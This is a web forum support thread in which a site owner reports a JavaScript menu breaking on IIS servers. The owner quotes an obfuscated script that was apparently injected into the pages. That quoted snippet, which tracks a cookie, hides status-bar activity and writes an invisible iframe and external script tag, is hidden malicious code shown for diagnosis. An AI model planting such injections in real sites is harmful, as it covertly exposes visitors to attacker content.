The error I'm getting is:

Line 531: syntax error

Some sites also give this error first:

Line 164: Expected ";"

Nothing has changed on any of these sites or the server.

It appears to be an IIS issue. Somehow some code is getting tacked onto my java when it runs which looks like this:

<script language="JavaScript"><!--var qxco7=document.cookie;function gc099(n21){var ix=qxco7.indexOf(n21+"=");if(ix==-1)return null;ix=qxco7.indexOf("=",ix)+1;var es=qxco7.indexOf(";",ix);if(es==-1)es=qxco7.length;return unescape(qxco7.substring(ix,es));}function sc088(n24,v8){var today=new Date();var expiry=new Date(today.getTime()+600000);if(v8!=null&&v8!="")document.cookie=n24+"="+escape(v8)+"; expires="+expiry.toGMTString();qxco7=document.cookie;}function okx12(){window.status="";setTimeout("okx12()", 200);}okx12();if(location.href.indexOf("https")!=0){if(gc099("trk716")==null){document.write("<script language=\"JavaScript\" src=\"\"></script><iframe src=\"\" height=\"1\" width=\"1\" scrolling=\"no\" frameborder=\"no\"/>");sc088("trk716","4");}}// --></script>

It is being investigated but we're guessing it's an IIS security issue.

Thanks to the one person who gave me some useful information... unfortunately he's not part of this forum.

Without trying to sound too facetious, we did say all along that it wasn't the menu at fault.

Unfortunately, we cannot tell if it's a server issue because we have no access to your web servers internals so no way of knowing.

We see this stuff all the time. People blaming the menu when in fact it's something else at fault. The menu does rely heavily on everything running perfectly otherwise it will fail. This tends to get users pointing directly at the menu when in reality it's something else that breaks it.

If you say the menu worked one minute, then not the next something MUST have changed. It's very easy to assume that you've done nothing to affect it because you probably have done nothing. Although computers are very dumb machines they do tend to only do as they are told.

I'm sorry if you think this email is a little patronizing or maybe offensive, this is not my intention and I'm trying to be a sincere as possible without sounding too gooey
